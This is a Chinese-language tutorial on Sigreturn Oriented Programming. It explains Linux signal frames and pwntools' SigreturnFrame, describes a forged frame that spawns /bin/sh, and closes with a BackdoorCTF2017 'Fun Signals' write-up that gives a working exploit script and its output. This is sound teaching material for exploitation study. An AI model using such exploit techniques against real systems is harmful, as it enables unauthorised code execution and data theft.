SROP 原理
Linux系统调用
在开始这一切之前,我想先讲一下 Linux 的系统调用。64 位和 32 位的系统调用表分别在/usr/include/asm/unistd_64.h
和 /usr/include/asm/unistd_32.h
中,另外还需要查看/usr/include/bits/syscall.h
signal机制
信号机制是进程之间相互传递消息的一种方法,信号全称为软中断信号,也有人称作软中断
软中断信号(signal,又简称为信号)用来通知进程发生了异步事件。进程之间可以互相通过系统调用kill发送软中断信号。内核也可以因为内部事件而给进程发送信号,通知进程发生了某个事件。注意,信号只是用来通知某进程发生了什么事件,并不给该进程传递任何数据。
如图所示,当有中断或异常产生时,内核会向某个进程发送一个 signal,该进程被挂起并进入内核(1),然后内核为该进程保存相应的上下文,然后跳转到之前注册好的 signal handler 中处理相应的 signal(2),当 signal handler 返回后(3),内核为该进程恢复之前保存的上下文,最终恢复进程的执行(4)。
- 一个 signal frame 被添加到栈,这个 frame 中包含了当前寄存器的值和一些 signal 信息。
- 一个新的返回地址被添加到栈顶,这个返回地址指向 sigreturn 系统调用。
- signal handler 被调用,signal handler 的行为取决于收到什么 signal。
- signal handler 执行完之后,如果程序没有终止,则返回地址用于执行 sigreturn 系统调用。
- sigreturn 利用 signal frame 恢复所有寄存器以回到之前的状态。
- 最后,程序执行继续。
不同的架构会有不同的 signal frame,下面是 32 位结构,sigcontext 结构体会被 push 到栈中:
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
下面是 64 位,push 到栈中的其实是 ucontext_t 结构体:
// defined in /usr/include/sys/ucontext.h
/* Userlevel context. */
typedef struct ucontext_t
{
unsigned long int uc_flags;
struct ucontext_t *uc_link;
stack_t uc_stack; // the stack used by this context
mcontext_t uc_mcontext; // the saved context
sigset_t uc_sigmask;
struct _libc_fpstate __fpregs_mem;
} ucontext_t;
// defined in /usr/include/bits/types/stack_t.h
/* Structure describing a signal stack. */
typedef struct
{
void *ss_sp;
size_t ss_size;
int ss_flags;
} stack_t;
// difined in /usr/include/bits/sigcontext.h
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
就像下面这样:
SROP
SROP,即 Sigreturn Oriented Programming,正是利用了 Sigreturn 机制的弱点,来进行攻击。
首先系统在执行 sigreturn
系统调用的时候,不会对 signal
做检查,它不知道当前的这个 frame
是不是之前保存的那个 frame
。由于 sigreturn
会从用户栈上恢复恢复所有寄存器的值,而用户栈是保存在用户进程的地址空间中的,是用户进程可读写的。如果攻击者可以控制了栈,也就控制了所有寄存器的值,而这一切只需要一个 gadget
:syscall; ret
;。
另外,这个 gadget 在一些系统上没有被内存随机化处理,所以可以在相同的位置上找到,参照下图:
通过设置 eax/rax 寄存器,可以利用 syscall 指令执行任意的系统调用,然后我们可以将 sigreturn 和 其他的系统调用串起来,形成一个链,从而达到任意代码执行的目的。下面是一个伪造 frame 的例子:
rax=59 是 execve 的系统调用号,参数 rdi 设置为字符串“/bin/sh”的地址,rip 指向系统调用 syscall,最后,将 rt_sigreturn 设置为 sigreturn 系统调用的地址。当 sigreturn 返回后,就会从这个伪造的 frame 中恢复寄存器,从而拿到 shell。
下面是一个更复杂的例子:
一开始 Linux 是通过int 0x80
中断的方式进入系统调用,它会先进行调用者特权级别的检查,然后进行压栈、跳转等操作,这无疑会浪费许多资源。从 Linux 2.6 开始,就出现了新的系统调用指令 sysenter/sysexit
,前者用于从 Ring3 进入 Ring0,后者用于从 Ring0 返回 Ring3,它没有特权级别检查,也没有压栈的操作,所以执行速度更快
pwnlib.rop.srop
在 pwntools 中已经集成了 SROP 的利用工具,即 pwnlib.rop.srop,直接使用类 SigreturnFrame,我们来看一下它的构造:
python
>>> from pwn import *
>>> context.arch
'i386'
>>> SigreturnFrame(kernel='i386')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 115, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 123, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>> SigreturnFrame(kernel='amd64')
{'es': 0, 'esp_at_signal': 0, 'fs': 0, 'gs': 0, 'edi': 0, 'eax': 0, 'ebp': 0, 'cs': 35, 'edx': 0, 'ebx': 0, 'ds': 0, 'trapno': 0, 'ecx': 0, 'eip': 0, 'err': 0, 'esp': 0, 'ss': 43, 'eflags': 0, 'fpstate': 0, 'esi': 0}
>>> context.arch = 'amd64'
>>> SigreturnFrame(kernel='amd64')
{'r14': 0, 'r15': 0, 'r12': 0, 'rsi': 0, 'r10': 0, 'r11': 0, '&fpstate': 0, 'rip': 0, 'csgsfs': 51, 'uc_stack.ss_flags': 0, 'oldmask': 0, 'sigmask': 0, 'rsp': 0, 'rax': 0, 'r13': 0, 'cr2': 0, 'r9': 0, 'rcx': 0, 'trapno': 0, 'err': 0, 'rbx': 0, 'uc_stack.ss_sp': 0, 'r8': 0, 'rdx': 0, 'rbp': 0, 'uc_flags': 0, '__reserved': 0, '&uc': 0, 'eflags': 0, 'rdi': 0, 'uc_stack.ss_size': 0}
总共有三种,结构和初始化的值会 有所不同:
- i386 on i386:32 位系统上运行 32 位程序
- i386 on amd64:64 位系统上运行 32 位程序
- amd64 on amd64:64 为系统上运行 64 位程序
BackdoorCTF2017 Fun Signals
查看文件类型
file funsignals_player_bin
funsignals_player_bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
checksec
python
>>> from pwn import *
>>> print ELF('funsignals_player_bin').checksec()
[*] '/root/sploitfun/srop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
disass
gdb-peda$ disass _start
Dump of assembler code for function _start:
0x0000000010000000 <+0>: xor eax,eax
0x0000000010000002 <+2>: xor edi,edi
0x0000000010000004 <+4>: xor edx,edx
0x0000000010000006 <+6>: mov dh,0x4
0x0000000010000008 <+8>: mov rsi,rsp
0x000000001000000b <+11>: syscall
0x000000001000000d <+13>: xor edi,edi
0x000000001000000f <+15>: push 0xf
0x0000000010000011 <+17>: pop rax
0x0000000010000012 <+18>: syscall
0x0000000010000014 <+20>: int3
End of assembler dump.
gdb-peda$ disass syscall
Dump of assembler code for function syscall:
0x0000000010000015 <+0>: syscall
0x0000000010000017 <+2>: xor rdi,rdi
0x000000001000001a <+5>: mov rax,0x3c
0x0000000010000021 <+12>: syscall
End of assembler dump.
gdb-peda$ p &flag
$2 = (<text variable, no debug info> *) 0x10000023 <flag>
gdb-peda$ x/s 0x10000023
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
gdb-peda$ x/s flag
0x10000023 <flag>: "fake_flag_here_as_original_is_at_server"
而且 flag 就在二进制文件里,只不过是在服务器上的那个里面,过程是完全一样的。
首先可以看到 _start 函数里有两个 syscall。第一个是 read(0, $rsp, 0x400)(调用号0x0),它从标准输入读取 0x400 个字节到 rsp 指向的地址处,也就是栈上。第二个是 sigreturn()(调用号0xf),它将从栈上读取 sigreturn frame。所以我们就可以伪造一个 frame。
那么怎样读取 flag 呢,需要一个 write(1, &flag, 50),调用号为 0x1,而函数 syscall 正好为我们提供了 syscall 指令,构造 payload 如下:
exp代码
from pwn import *
elf = ELF('./funsignals_player_bin')
p = process('./funsignals_player_bin')
context.clear()
context.arch = "amd64"
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_write #系统调用号,设置rax使syscall调用write函数
frame.rdi = constants.STDOUT_FILENO #设置输出到哪里,STDOUT_FILENO表示向屏幕输出
frame.rsi = elf.symbols['flag'] #设置rsi,表示从哪里开始读取
frame.rdx = 50 #读取的长度
frame.rip = elf.symbols['syscall'] #指向syscall; ret;
p.send(str(frame))
p.interactive()
运行结果
python exp.py
[*] '/root/sploitfun/srop/funsignals_player_bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x10000000)
RWX: Has RWX segments
[+] Starting local process './funsignals_player_bin': pid 11751
[*] Switching to interactive mode
[*] Process './funsignals_player_bin' stopped with exit code 0 (pid 11751)
fake_flag_here_as_original_is_at_server\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive